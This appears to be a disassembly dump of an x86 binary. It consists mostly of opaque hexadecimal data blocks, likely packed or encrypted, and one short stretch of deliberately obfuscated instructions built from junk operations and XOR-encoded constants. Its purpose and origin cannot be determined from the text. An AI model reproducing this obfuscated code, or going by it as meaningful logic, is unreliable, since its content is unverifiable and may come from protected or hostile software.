dd 4526C699h, 0AF97h, 88C25D00h, 25632755h, 6694C300h
dd 740C3A9Ch, 16C9166Dh, 6784B7F1h, 0E6144781h, 640777CFh
dd 1ED19543h, 6DDD16C9h, 3A00231h, 118F28D6h, 18CF1C32h
dd 201B246Ah, 0D234AA13h, 0B4247CB5h, 7C42F011h, 8213201Bh
dd 77A5D812h, 81AE4BADh, 0C684DBD3h, 4AED6319h, 0EA073270h
dd 654CC604h, 6C7CC886h, 90BEE526h, 0D10264C6h, 6F68F94Fh
dd 0DFEAA69Eh, 8C000000h, 2208254Ch, 0B49AB7E6h, 452B4877h
dd 0D4BAD70Ah, 4A4E6B96h, 0B9E42298h, 4E75B69Ch, 0E10C4B31h
dd 71A4DEC4h, 0F8A68754h, 133924B6h, 0C201DF38h, 563C5984h
dd 9ECCE91Ch, 0DB324C7Bh, 1B88013h, 0C9E01353h, 0C3259B16h
dd 78CA0912h, 3A092FCh, 82B0E31Dh, 355C9D77h, 4578B298h
dd 0E9CCFB28h, 9C303CACh, 7FC33E4h, 2B51714Fh, 8DFD558Eh
dd 0C25D3CEAh, 2FA51C39h, 0D0033D01h, 185E0C2Dh, 0A61339E2h
dd 9FDF8D30h, 1F1339E2h, 38650CA9h, 0AB205C09h, 69066414h
dd 0E8164983h, 4D0A4150h, 1D587BF8h, 0FD1A4D87h, 7AADD17h
dd 22BFF22Dh, 903E5F6Ah, 744C4ACEh, 0D7BD5AD0h, 573B699Ch
dd 0D50F95E0h, 77E28453h, 0DE40915Ah, 6EA1DBC1h, 88440h
dd 7BC40000h, 963366A1h, 82C2218Fh, 2F692D5Bh, 0CB0ACEFCh
dd 6DAE72A0h, 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h
dd 0A4E0A4D2h
dd 68864775h, 1CABh, 68242C89h, 5B99h, 51242C89h, 0C181E189h
dd 4, 8704E983h, 895C240Ch, 51502414h, 4C0557B9h, 0D9E9816Ah
dd 81642A5Ch, 7561E3C9h, 87E98179h, 81459D65h, 962508F1h
dd 0BAE9810Ah, 892D5E6Eh, 0C58959C8h, 4EC8358h, 81242489h
dd 42404h, 685A0000h, 7C06h, 8F242C89h, 34FF0842h, 0C4815A24h
dd 4, 5D2434FFh, 4C481h, 3CE90000h, 9CFFF940h, 7349FF7Fh
dd 0F03F3AB8h, 0FFC50305h, 52A608E0h, 0BCD5841Ah, 2CFABF4Eh
dd 855A4C24h, 0FA04EB20h, 0E9522D06h, 4E0h, 5B789FDFh
dd 0ED0A3975h, 7E9BCA07h, 0D2A5D98h, 0A1BEE927h, 2F6D459Dh
dd 0C001E704h, 57967C99h, 0EF290F2Ch, 0F1D29FBCh, 39250343h
dd 54328B13h, 0EAAC5A7Bh, 0F416C91Ah, 0B81A4584h, 0CEFB351Bh
dd 0D402648Fh, 70ADD210h, 0E7491341h, 77AAE4CAh, 184B8549h
dd 0C705DFEAh, 0DD19FF9Ch, 577280AEh, 1AC68836h, 3C816C9h
dd 0B1AE6B5Fh, 620567C8h, 0C950F2B4h, 0E986FC16h, 0A9E3C1B4h
dd 34735976h, 0C706EC09h, 0FE3C65A2h, 79DBA5D3h, 194C874Bh
dd 632755B7h, 9AC70122h, 37012F5Eh, 0EE9CA7D5h, 16C950A8h
dd 0FC5EC036h, 9DD00ACEh, 0FF6FAB6Fh, 0C9500D51h, 0B91B9116h
dd 4530A78Bh, 0F66DD59h, 0E2B5695h, 8DBBEE28h, 0C950CCF5h
dd 32536A16h, 0C950C284h, 0FA56CC16h, 0BFF491BCh, 9D2BF5B6h
dd 514540CFh, 0C000000h, 29C6F532h, 5588C2FBh, 21B583B2h
dd 981EF408h, 0E9AB43FBh, 2116C9C0h, 68387302h, 8840CF0Dh
dd 1, 5786C24Eh, 0FA296529h, 0ACE7C1CCh, 0B214437Fh, 371DBA84h
dd 8D9BC9FCh, 5D990B6Ah, 0B5E4112Eh, 21703BD9h, 0D8BE5BF6h
dd 204E6B9Eh, 0E10A84C2h, 0B7D340ACh, 753967C9h, 0ECDC0A39h
dd 9B75E88Dh, 95D6325Dh, 0D976406Eh, 5390B5F3h, 0BFA5C224h
dd 0D5AF5285h, 0D50F6B96h, 0DAA74A2h, 25549155h, 0EE8728F7h
dd 0CFA503BDh, 781D40h, 0C2E30000h, 672B5984h, 0BFCDFB2Ah
dd 8DCBD99Ch, 0D0FE2968h, 5A87A406h, 76134680h, 0F9275290h
dd 99C7FA35h, 1A5731CAh, 46DF3AEBh, 125A6A6Eh, 76354075h
dd 40CF08BAh, 0BC839BCAh, 5E67BE02h, 0F996C502h, 68D8h
dd 5A7B9E00h, 0C91AEAACh, 0E17EF416h, 6492BDFBh, 83661A0h
dd 29344190h, 3FD10EFAh, 0EAB07F1h, 86C5EA28h, 0C0632D5Bh
dd 0C94B4C12h, 7ADC5216h, 86C22F5Dh, 0B0912957h, 0D216C91Ah
dd 75396796h, 0E9D9073Ah, 8BB3EB8Ah, 2C5F9A74h, 1A9BDB89h
dd 0AD2316C9h, 119ADB10h, 40CFD74Fh, 861h, 0F4E2800h, 4FECB6E4h
dd 5685C221h, 0F72A6428h, 76EE5C9h, 0FB37609Dh, 144D6ACCh
dd 0E81352BCh, 0C0224D8Ch, 0F5F26F1Dh, 9E141C31h, 3F72AC70h
dd 0CF023C22h, 195D0B2Ch, 0A513203Fh, 42DA922Fh, 13203F7Eh
dd 0ACF87DCCh, 3C223F72h, 0DDA1CF02h, 524270A3h, 0E82282F3h
dd 17B998B5h, 94526F2h, 13Ch, 8EB5F6D0h, 176FC3F1h, 0FD5604A7h
dd 291C3209h, 87C185B3h, 17513754h, 0B8F2B6E4h, 52935785h
dd 0E1E4FD2Bh, 0B02A34D7h, 22518EEAh, 0D0A504F4h, 76998D4h
dd 4F55207Fh, 872A9315h, 0EAE82C99h, 0C022518Eh, 5B9C76A3h
dd 5E0145F3h, 178D1320h, 973918B5h, 89452693h, 5Bh, 0A6186F4Fh
dd 19C15503h, 964D16C9h, 0C91AA6E8h, 50B22816h, 1AC48A22h
dd 1CB916C9h, 0EEA1F859h, 0C91A7E40h, 0A80A8016h, 19C75705h
dd 0CDFC16C9h, 4B8F98B8h, 0BB32A226h, 997D21D2h, 52B4E721h
dd 405DD3B5h, 0CDFC3913h, 925230h, 0B9930000h, 469A4B7Eh
dd 0B45EC78Bh, 6F315FFCh, 5604A717h, 1C321E55h, 793D6BE1h
dd 9EF0C3Fh, 0D8F99CCFh, 0CEC17FA9h, 0A7D7E0A1h, 132025E7h
dd 25A8EE9Ch, 0C0361320h, 9D55F268h, 2025FE05h, 383D8C13h
dd 0E2FF326Ch, 3EE151A9h, 0D0349490h, 39E79E19h, 16D01A75h
dd 0FEA10379h, 9021BDCFh, 0DD7A1DC2h, 0F4276125h, 0A6BE2C6h
dd 0DC7FEF47h, 20D0322Eh, 0F973381Ch, 1EB54C7Ch, 3B6885E7h
dd 0CBF92061h, 8D4C12C0h, 0DC521320h, 0B5E01E7Ah, 0F220BD87h
dd 4A7176Fh, 9FCA09E3h, 0B5C4802h, 70E61C39h, 87B6F3CDh
dd 25C2ED2Bh, 3C6FA96Dh, 0CCFF391Fh, 681E069Eh, 0B3D6CBD6h
dd 7BA8E2C2h, 8EAB0D40h, 0D3B6EA8h, 0ADDB0E49h, 812352C9h
dd 11F71447h, 6B76A4D7h, 77285391h, 7C0BC630h, 0A3811E8Ah
dd 0Ah, 62A17BE3h, 0A23F0937h, 82C22D9Bh, 2F692D5Bh, 0CB0ACEFCh
dd 6DAE72A0h, 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h
dd 0A4E0A4D2h, 68864775h, 69B4h, 57240489h, 0C781E789h
dd 4, 8704EF83h, 895C243Ch, 0D5682404h, 89000072h, 16B8242Ch
dd 255E8942h, 1DFE1986h, 5600F625h, 0FFFF0538h, 0D8F7FFFFh
dd 0FC0182Dh, 5C4068E2h, 24890000h, 24048324h, 89565D04h
dd 2C8156C6h, 616F9A24h, 8458F0Fh, 9A084581h, 5E0F616Fh
dd 57242C8Bh, 0C781E789h, 4, 4C781h, 3C870000h, 48B5C24h
dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 3B41E95Ch
dd 0B02EFFF9h, 363CF504h, 0E03115F1h, 23319673h, 0F04426B8h
dd 0FFC50305h, 0C0D17FE0h, 9FE6B061h, 40064F54h, 0C8B2740Eh
dd 0B48B9E74h, 90520149h, 9234A81Dh, 85BD8C15h, 0C1257845h
dd 0EC3D9C48h, 0C98B066Eh, 0F0C74C22h, 9E6AF768h, 0E4CF7162h
dd 16D63A59h, 0F6B4131Dh, 0F79D0F1Fh, 367F7920h, 805A5E7Ah
dd 0DFC6552Eh, 0B5C9D159h, 70EAE66Ah, 4604EB50h, 0E912D151h
dd 50Ah, 0F2C5393h, 0A1BEED29h, 324F7EBBh, 0C1DE114Ch
dd 55729DDBh, 0EB299151h, 7CBDA3C0h, 13523855h, 0ABE5CBE8h
dd 0AD8E5B78h, 395FBFFFh, 8E63F13h, 1D5B88C2h, 98FAC4F2h
dd 3D68A66Ah, 0CD003A20h, 6EA1DB9Fh, 84B7F1CBh, 37EF8C56h
dd 0DA083773h, 0D8CCA9CCh, 9741C9Eh, 18377AD9h, 7AE413B6h
dd 0E360CBC3h, 0E8CE7512h, 34617EA9h, 816B2A05h, 66033165h
dd 0E8164180h, 19BCE324h, 19044AF8h, 4A8616C9h, 0CB23ED1Bh
dd 8EBDF955h, 0DE5539F1h, 4297C697h, 0A1F4B963h, 0E01F05A2h
dd 6417D566h, 31939AF1h, 80F42E14h, 0C94C8CD2h, 0A6CD0E16h
dd 0D376D84Eh, 33FDE2A4h, 1DBA0AD8h, 0BCF4CD65h, 234216C9h
dd 71B75952h, 57A940CFh, 70000000h, 0FF2D5896h, 6DCFFE3Bh
dd 88C2A2D0h, 0CD8F2755h, 0D116C91Ah, 72366497h, 0C0D90736h
dd 5E8501C8h, 9DECFC05h, 628DCCD8h, 0E0086A34h, 29F7B4C1h
dd 4740CF64h, 1, 5786C20Dh, 0FA296529h, 9ACD08CCh, 69435E6Ch
dd 2D62FF2Ah, 0F1205C48h, 81B4EED4h, 84C23664h, 6AE61B0Ah
dd 45A7B1C9h, 0E8175317h, 0A6BCABAh, 14315C9Ah, 93C1F42Eh
dd 2E6992CFh, 0A103CDFBh, 7203A473h, 0A7D211EBh, 3312AF79h
dd 40CF3E7Dh, 0F6B86687h, 0F816C9FAh, 6DC4E582h, 8A000000h
dd 2B5984C2h, 0CDFB2A67h, 0CBD99CBFh, 5F45628Dh, 4C8F621h
dd 0C4F396C9h, 486C0E99h, 79DD12h, 0C5FB97D0h, 3F0EC663h
dd 1CD4D79Eh, 3440CFE1h, 68h, 6A2CDAFBh, 7416C930h, 0C23361FEh
dd 672B5984h, 395AFD28h, 0C91ACB8Bh, 0C05DD316h, 34419008h
dd 0E5104F29h, 6A50EDB7h, 9FC6072Ch, 6BF6A771h, 8D01E209h
dd 0B2E0FD5Fh, 0B45786C2h, 1AA1E593h, 0B72D16C9h, 1A206614h
dd 38AE16C9h, 764BE39Bh, 0C016C91Ah, 9D7D4A1h, 1B40CFD7h
dd 0A6D40741h, 11E3FDCh, 0E4000000h, 3762A17Bh
dd 4877B49Ah, 0E91C561Ah, 8E68D7BBh, 50852251h, 1D5E3825h
dd 367359F6h, 59B1EA07h, 772546E9h, 16C91A37h, 77A441B7h
dd 31F558C9h, 9538AE1Ch, 0A8C19166h, 0ED8A60E2h, 4377135h
dd 94C701E7h, 848ACE66h, 11581320h, 61037E2h, 902DC98Fh
dd 69431A5Bh, 7A60FD2Ch, 0AF00D40h, 0E8AE5CD0h, 0F6132055h
dd 0B8E72480h, 0BB5EC08Ah, 8836A2E1h, 132055C6h, 0C2F052C8h
dd 98A35BF8h, 5585C977h, 93091320h, 0A3D610F6h, 4F268575h
dd 0CBE81B55h, 269824ECh, 1393C45h, 6F020000h, 5604A717h
dd 1C3209FDh, 0C185B329h, 0A375487h, 228623DBh, 0A2FEBD1Eh
dd 400A3863h, 5083BDA3h, 48F61722h, 1320E006h, 8F751288h
dd 4F42255h, 9AD4D0A5h, 0FC1D4A67h, 20E0084Eh, 83209613h
dd 262DFCA4h, 4DF445h, 6FBA0000h, 5503A618h, 16C919C1h
dd 11A9D74Dh, 16C91A4Dh, 0B1DF124Dh, 9341B1EDh, 16C91AD3h
dd 0D50365DBh, 78A6D511h, 90E508AEh, 46A8D714h, 1C3540DDh
dd 9E1C59C5h, 31E65267h, 93F55732h, 9DAC42F0h, 3CB216C9h
dd 0A1411Fh, 7B810000h, 0C8EE654Ch, 0F08D34EFh, 4CEF5FB7h
dd 326A9D9Eh, 8023991Ch, 23F3D451h, 0E4D05A5h, 89EBB5E3h
dd 26C3EE2Dh, 3D70AA6Eh, 0CD003A20h, 0B5F8079Fh, 3B8A1320h
dd 0FD306A3Ah, 0CB8B395Ah, 0D31320B5h, 0B5286E1Ch, 40B61320h
dd 619A41DEh, 48F69909h, 19D0FA60h, 6F1D3E5Fh, 16D0F02Fh
dd 450939AFh, 4516D0F0h, 0E1ABD908h, 0ADDC1989h, 56CCAE4Bh
dd 4DE284B3h, 615DA333h, 0E0010CC4h, 0D0816C32h, 4BFC7216h
dd 6D680A85h, 8C720FCCh, 0DF11F52h, 1A72DF96h, 735907AAh
dd 0B71C201Ch, 6FF62441h, 5604A717h, 1C395576h, 541846BCh
dd 0E4CAE71Ah, 0FAD477AAh, 305798B9h, 0E17931CEh, 81A6AF1h
dd 0ACB1C4E7h, 396796D2h, 0B2ECD26Fh, 635627Fh, 52A76F56h
dd 0B59B38D6h, 84A5487Bh, 183A90D6h, 0B9671E04h, 4183AF5h
dd 842183F9h, 9ACD08CCh, 6411886Ch, 0E4920640h, 4183AA2h
dd 62BAED28h, 876D8AECh, 0E1EC1A4Dh, 0CB92C7B2h, 2AE5F8Eh
dd 7F5DFAF0h, 3, 0C233A1BFh, 692D5B82h, 0ACEFC2Fh, 0AE72A0CBh
dd 5418466Dh, 0F9BDEB16h, 9E6290BBh, 3E023063h, 0E0A4D201h
dd 864775A4h, 81E28952h, 4C2h, 4EA8300h, 8B241487h, 0EC812424h
dd 4, 68243489h, 7B2h, 52241489h, 0AA02E7BAh, 1EA817Ah
dd 8139FF04h, 710E70E2h, 81D2F72Eh, 6ACF8FF2h, 2EAC19Ah
dd 0AABF281h, 0D6891C9Dh, 148B545Ah, 4C48124h, 68000000h
dd 44C9h, 8F243489h, 34FF0842h, 0C4815A24h, 4, 5024348Bh
dd 405E089h, 83000000h, 48704C0h, 0CCE95C24h, 80FFF935h
dd 6BF0AAF9h, 0FCDCBD43h, 0D6047B61h, 0ABB826F4h, 305F049h
dd 0C3E0FFC5h, 9774A070h, 75363935h, 9C303DEBh, 0AD572DE4h
dd 0A91F0F20h, 7E519C89h, 0B12330EAh, 445ED142h, 3F7324E8h
dd 0FE2EA2BAh, 5D296768h, 44376F2Eh, 0EB490D74h, 0C88E0704h
dd 582E90Fh, 1410000h, 9BD7BDDAh, 2C694F6Ch, 0BFFAE0FDh
dd 4B896F8Ch, 0E3FF0320h, 516E99D7h, 0E6032A6Bh, 7996C100h
dd 9265993h, 0E9AD5B3Ch, 0F5133950h, 88C2BE9Ch, 25632755h
dd 252886ABh, 55B781D1h, 6C9BD8B2h, 84228CFh, 42709FDBh
dd 0DDE81678h, 65480EBCh, 0E05616C9h, 0F0235D43h, 93C2FEC2h
dd 0AAD916F0h, 2C47550Dh, 0B9E71652h, 0D89E4CEFh, 0E616C965h
dd 0D79ED370h, 466FAC86h, 4B79DB0Ah, 0BAE92581h, 3F25C28Ch
dd 0CFB5D205h, 1B486590h, 0A5D30641h, 19583EDBh, 7C2A4BEEh
dd 16C9653Ah, 1F5F0DC4h, 9F16C965h, 722AC729h, 18466DAEh
dd 0ECB8BD34h, 7F6582ADh, 0D52CC345h, 0E418CFFh, 0A4F9BD6Bh
dd 8F0516C9h, 5A67FF2Dh, 0DC16C9A4h, 2DF3B8BDh, 3740CF69h
dd 53F0235Dh, 7432h, 0A17BF800h, 0A0A5EA60h, 0CA5A2A84h
dd 0BF703A68h, 66152EB6h, 0A18724E3h, 0B7913467h, 1A5C0A7Ah
dd 0A416C936h, 0D49ECC2Eh, 0A5E77F37h, 2916C936h, 0CD91BFEAh
dd 6536648Fh, 0C9F1ADC8h, 30E0CBAAh, 3040CFFBh, 1, 5786C2F6h
dd 0FA296529h, 15427D57h, 0A845A7DAh, 23B6E5F0h, 86B1EF69h
dd 0D0BF8AD5h, 0DF124D33h, 0F580A3B1h, 274473AFh, 0B7D40741h
dd 5F84C289h, 0BC02B024h, 4216C91Ah, 723C6ACCh, 1A5D21CFh
dd 0EB6116C9h, 5B975B89h, 8BCAF732h, 6E9CFE60h, 4E561F7Eh
dd 0E2C8E510h, 3C4775A8h, 7C8F2D0Dh, 0ED90690Ch, 0C9B87F3Fh
dd 6C097F16h, 771A4986h, 4142948h, 0AA061866h, 0E79F3C6Fh
dd 0ADFE7718h, 40CF86F3h, 500Dh, 84C2D300h, 2A672B59h
dd 9CBFCDFBh, 688DCBD9h, 6D0FE29h, 63A187A4h, 71D3023Eh
dd 11447F43h, 27314E3h, 0CFD5F7A9h, 480940h, 0C2CF0000h
dd 246A1884h, 0AA16C91Ah, 99A4D234h, 1A84CA78h, 940A16C9h
dd 0A7D211F7h, 0C3B20179h, 5B78A3E1h, 5786C22Dh, 7441E29h
dd 2FE0AAD8h, 0CFA50006h, 5610AD35h, 16C9656Dh, 0E0CBAAC9h
dd 40CFA830h, 130h, 85C2F600h, 2A642856h, 6EE5C9F7h, 31609D07h
dd 0DDD85F8Eh, 0BEEFDC33h, 2C4D7A21h, 0B7E71652h, 16C952F7h
dd 0ABE481F7h, 9240E353h, 1C31BD11h, 0DD1FF75h, 9D83A0D3h
dd 6A023063h, 13207726h, 95D3ADF4h, 29E0B96Ah, 6A8C305Fh
dd 80DD98CDh, 103E65A6h, 7DB0EA46h, 2E8854Fh, 927895C8h
dd 33F72558h, 0A898C6F9h, 57312C49h, 83B6F11Ah, 8C298B55h
dd 1C396CA6h, 265C933Dh, 15C8D45h, 25540000h, 0CD3C4CEDh
dd 0D601800Bh, 0F10D434Ch, 6FC4F28Fh, 4073AD17h, 43E64812h
dd 1A327422h, 46BC16C9h, 65CE7CA9h, 0C11C3209h, 1F591D4Bh
dd 5785B8F2h, 0AE882B8Dh, 4D174570h, 0E92309B0h, 44F213B6h
dd 13202B02h, 8465168Ch, 54DA9355h, 5F23DB78h, 0C4F225h
dd 0A26694C3h, 25093766h, 4FD7C7AEh, 0E51F85F0h, 0EAB695B2h
dd 6452675h, 4Dh, 0A6186FCCh, 19C15503h, 0DD4D16C9h, 6D1072A1h
dd 0C642073Eh, 9431100Bh, 3A0244DCh, 4D8816C9h, 0EC28EC1Ah
dd 28768FBDh, 705F217Bh, 2B4AC13Dh, 86D0A73h, 0DD80F249h
dd 0C9A8BF2Fh, 5D9A7416h, 9936002Eh, 462441B7h, 9Eh, 0A7176F86h
dd 14C2E304h, 16C91A52h, 8F49E65Ch, 1C321E8Ah, 24E8168Ch
dd 6D9AB7EAh, 16D89E4Ch, 70E61320h, 80B3EDD3h, 306D4752h
dd 5BAA6401h, 0E7132016h, 8DD17FA0h, 0C6132016h, 20165618h
dd 8AE25813h, 33427714h, 61043771h, 0EE9E5F32h, 18B548C7h
dd 70E03871h, 98D2ACCDh, 116D3765h, 520CA9D0h, 19D0D038h
dd 967CB97Eh, 0D303A1CBh, 0B8F4CE71h, 7034EC89h, 9ECD0936h
dd 72D40742h, 8CE96044h, 5AFD6DC5h, 201CDEACh, 0B361181Ch
dd 13202CF3h, 802385FBh, 0A03D68A6h, 176FCBF9h, 48D504A7h
dd 0E87ABF73h, 342BC5D1h, 0F85A80BAh, 0D00D7D47h, 27C48B98h
dd 0EC3E4CFAh, 0C2D1C39h, 99C9F432h, 1339DCD5h, 116998D5h
dd 0DBE90A4Ch, 0D7395E1Bh, 0B4E2583Ah, 73AE88A9h, 18481240h
dd 1339C256h, 0B3F3A158h, 3B1339C2h, 0E0C663C5h, 705673A6h
dd 0CAD50336h, 6691CFA9h, 39C27036h, 0AC087E13h, 0EAA44170h
dd 14F0337Fh, 6694C3FFh, 73568A2h, 0D86171EEh, 0AB338069h
dd 0CF75294Ch, 0A1E593B4h, 2D190112h, 90E51AB7h, 8BB2F3CDh
dd 9BCE08EEh, 0B6DD1EF8h, 7A21BE88h, 0F12D5A94h, 2C5A8DC8h
dd 709E0062h, 103E71ACh, 0E4C0B52Ch, 2D5A77AAh
dd 0BAE81753h, 12BB3FF0h, 0FC77112h, 1F528C72h, 835F1h
dd 7B750000h, 9A3762A1h, 82C22593h, 2F692D5Bh, 0CB0ACEFCh
dd 6DAE72A0h, 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h
dd 0A4E0A4D2h, 51864775h, 0C181E189h, 4, 8704E983h, 895C240Ch
db 34h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push 5ACCh
mov [esp], esi
push edx
mov edx, 2FF46630h
xchg edi, edx
not edi
xchg edi, edx
inc edx
shl edx, 4
sub edx, 40A5462Ch
xor edx, 0C5E41C55h
mov ebx, edx
pop edx
push esp
mov esi, [esp]
add esp, 4
push ebx
push edi
mov edi, 6366A56h
xor [esp+4], edi
pop edi
pop dword ptr [esi+8]
xor dword ptr [esi+8], 6366A56h
push dword ptr [esp]
pop esi
add esp, 4
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5461C3
; ---------------------------------------------------------------------------
db 0B3h
dd 0A3AB398Dh, 74519526h, 0F04F7AB8h, 0FFC50305h, 0C5CF35E0h
dd 9F77CF43h, 4697D132h, 34949863h, 2BF7F663h, 0D2085368h
dd 0F4B2E06Ch, 619C4516h, 0BAA44C28h, 4E17C3Dh, 7F2B061Ch
dd 0EDA72C34h, 0DF3E0358h, 8C157744h, 0C0BF8160h, 0A98D9155h
dd 0DA1D5142h, 0EE34B83Fh, 7EA3C263h, 0EAA09F37h, 718D8D75h
dd 6A05F051h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 6119C355h, 8ED385EEh, 8D89F81Ch
dd 5E92655h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 0B8C35646h, 0D52C608Dh, 810F86B8h, 6, 2DB5B589h
dd 85C705E9h, 5E90805h, 6784h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 0A7C35141h, 5292D895h, 123D9BCDh
dd 11958996h, 305E923h, 0E93201BDh, 3D85C705h, 5E916h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 0F598C357h, 321DB5FFh, 6A05E9h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 290B61C3h, 0BC595FFh, 6A05E9h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 0B27F39C3h, 1958BD2h
dd 6A05E907h, 9595FF00h, 8B05E91Eh, 270EEBC0h, 684C1124h
dd 0A6BA44B6h, 95463E8Ch, 0B04EB71h, 0E951CE73h, 5C3h
dd 0AFCCF333h, 415E8DC9h, 0D2EF1E5Bh, 617EB1ECh, 0F5123D7Bh
dd 8BC9F1F1h, 1C5D4360h, 0B3F2D8F5h, 4B856B88h, 4D2EFB18h
dd 394BDF9Fh, 0A886DF13h, 275588C2h, 0F4AB2563h, 825B5756h
dd 6D9BCA07h, 0C2DF41A3h, 416FA2DCh, 0E210437Dh, 10B3E21Eh
dd 18C9FC36h, 60EFD99Eh, 0C57D1AE8h, 3C48C201h, 71391111h
dd 2E4775D7h, 349F770Eh, 508AE654h, 2877EF1Dh, 90AB514Dh
dd 0AD4A79B6h, 6DA7FD78h, 0F8371D3Ah, 5B092ACDh, 16C9941Bh
dd 0E9902DA3h, 6B99C403h, 113F66A7h, 0C39DBE2Dh, 632D5B82h
dd 0C9947333h, 0D00B7B16h, 43A56F9Dh, 590471A6h, 0E412457Fh
dd 58977D1Ah, 0F02A102Dh, 9488CE7Ch, 0A01616C9h, 4B78103Eh
dd 0EB16C994h, 5E02A9CCh, 5240CF59h, 9Bh, 0D5003F19h, 88C20A38h
dd 0ED1C2755h, 0BD8C77BDh, 8C25F1Eh, 16C98244h, 0AEE8094Ah
dd 21834D7Bh, 8B14DAF3h, 0D112CBF5h, 0D9073A75h, 0A7F77EF5h
dd 9615607Fh, 40CFC2CAh, 17E6h, 5D8CAD00h, 0FD7B318Ch
dd 2F6F9FB8h, 0AF16C96Ch, 0A5D3023Fh, 0AEDC79DBh, 295786C2h
dd 9185EF1Eh, 399153A8h, 4B7AB69Ch, 0EB1E591Dh, 8CBFF9BDh
dd 2D609A5Eh, 46F4FFh, 8E16C945h, 50259C18h, 0BBE91854h
dd 0C6E98FF1h, 8AB9F5AFh, 1A4D876Dh, 1AFD0FDh, 16C945BDh
dd 79D1003Dh, 0C2386603h, 95320A84h, 73C9D193h, 0E31FE311h
dd 379686B4h, 4F01F3Eh, 210A2942h, 27654BE8h, 0BFF9DFFCh
dd 81245792h, 0C99C93D3h, 43A51B16h, 0F5300A15h, 0F85A8DC8h
dd 9DC806CAh, 7BB89E3Bh, 0AE4F1E4Ch, 532CE4C7h, 814440CFh
dd 0A000000h, 2B5984C2h, 0C6012A67h, 399B6593h, 0D90C470Bh
dd 7CABE7ABh, 8AB8DF20h, 643A3B9Ah, 8DC9A3BEh, 0E98CC15Eh
dd 35527DBBh, 0B8E6114Fh, 18297EADh, 0A7D9F520h, 0BCE9240Ah
dd 0EA155481h, 2E905A88h, 0D4013C00h, 733D6B96h, 0E41FE311h
dd 0BC0B83B1h, 0DD7EE5B9h, 0C65D1398h, 517340CFh, 39000000h
dd 0B65984C2h, 45739EDCh, 1B26DE7Bh, 24B201ECh, 59F6D416h
dd 0DB093473h, 43611463h, 8FBDDA05h, 3467A17Bh, 4675B197h
dd 1A438018h, 7EBF16C9h, 701E2957h, 16C91A2Eh, 0A4DE3AB0h
dd 0E85F4371h, 0CAE9118Dh, 0D75000ABh, 15040CFh, 16000000h
dd 285685C2h, 54F72A64h, 74113C7Ah, 1461D8BCh, 81245390h
dd 9D3A6DA7h, 0F565BDF6h, 0F53FA452h, 90471C31h, 203F9CE2h
dd 0FBAC2213h, 6B1A9E2Bh, 99C729EAh, 79279BD5h, 13205935h
dd 0C4E143B9h, 4371A4DEh, 0F41F5E38h, 65A0FCC6h, 99DB9532h
dd 69132059h, 0F495B1Ah, 9FD9BFDCh, 407A3E6Ch, 90EFDF0Dh
dd 5285BFE5h, 948A5635h, 9FA64526h, 6C000001h, 0EAAC5A7Bh
dd 0F416C91Ah, 0B5E8227Eh, 1787DF18h, 96DC674h, 49B91C32h
dd 4681DD0Ch, 0ED0EB113h, 202B7F3Fh, 6C097F13h, 707AA9B4h
dd 9572D1FAh, 538D7310h, 7FC0E926h, 0FE602A58h, 5F997F9Ch
dd 3AFE2Ch, 50AF9FCDh, 12457F25h, 0D84A16F5h, 8C664526h
dd 2C000000h, 0B765186Fh, 16C91AF7h, 7C1F81F7h, 0C91958CEh
dd 4270E616h, 0C91AE4AAh, 80A9E616h, 87B51742h, 275588C3h
dd 0B4A9CC43h, 0C91A4006h, 76D84E16h, 3749780Dh, 0FD8316B5h
dd 0B6F8A649h, 3816C921h, 85F025C2h, 0CF0975CCh, 68973A9Ch
dd 8BEC8951h, 1F4CE9B5h, 0C9EBFD71h, 0FC073616h, 0AD0D4FA0h
dd 3AB0922Fh, 0A7557697h, 16C990E7h, 7D4171E7h, 8116C990h
dd 0E9C76E0Bh, 0CAh, 0E611502Ah, 2E729FB8h, 3E8810D9h
dd 7B113FDCh, 1AEAAC5Ah, 7EF416C9h, 92622CDh, 3BD8843Ah
dd 973AAA02h, 38824A68h, 8E1BCCFBh, 82AF4C94h, 320ED7D4h
dd 46E95F1Ch, 0A7032E6Ch, 430D3B6Ah, 0C2E3EEA6h, 20065214h
dd 49E65C13h, 0D9F62963h, 4F8CB9F3h, 0EC1BBE20h, 79AF4F9Eh
dd 0CE862388h, 0B2F4A2C3h, 3C132018h, 906F29C6h, 22132018h
dd 99C001DBh, 0F6AEC7FCh, 336C89BCh, 3A7C2ADBh, 0C4132018h
dd 9B49EC4Eh, 19D06B5Dh, 0D205401Ah, 68E4D921h, 44E1D1BBh
dd 0B3BEEC62h, 771E9CD9h, 0EA14D62Ch, 0DAA4D234h, 0EA1D573Dh
dd 1461D8BCh, 0C0346F49h, 0D03C4C12h, 7ADC5216h, 0DC4CA4DDh
dd 4F4D8B39h, 0DF551C20h, 176F94C2h, 0EC2A04A7h, 49F724C1h
dd 1C396983h, 5708DBCh, 6C6D2ED7h, 8A5D410h, 63AC6126h
dd 69372B7Bh, 0DB15D907h, 6BA58BA8h, 68720A38h, 0A0CEF276h
dd 72ACF87Dh, 0C6F5223Fh, 0AD1F5DCEh, 1ECC6FE2h, 47075C58h
dd 6D53F066h, 0ED20033h, 8E72A0D3h, 0C465E17h, 5DC80C8Ah
dd 670A544Ch, 7B9F5B9h, 2183F947h, 0B1E41E04h, 0A9577883h
dd 4707B9E5h, 0F8D673E9h, 0Ch, 534A138h, 0C4F9D2A2h, 735D2A3h
dd 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah, 18466DAEh, 0BDEB1654h
dd 6290BBF9h, 230639Eh, 0A4D2013Eh, 4775A4E0h, 4EC8386h
dd 89240489h, 405E0h, 0E8830000h, 24048704h, 0E789575Ch
dd 4C781h, 0EF810000h, 4, 5C243C87h, 68243C89h, 85Dh, 51240C89h
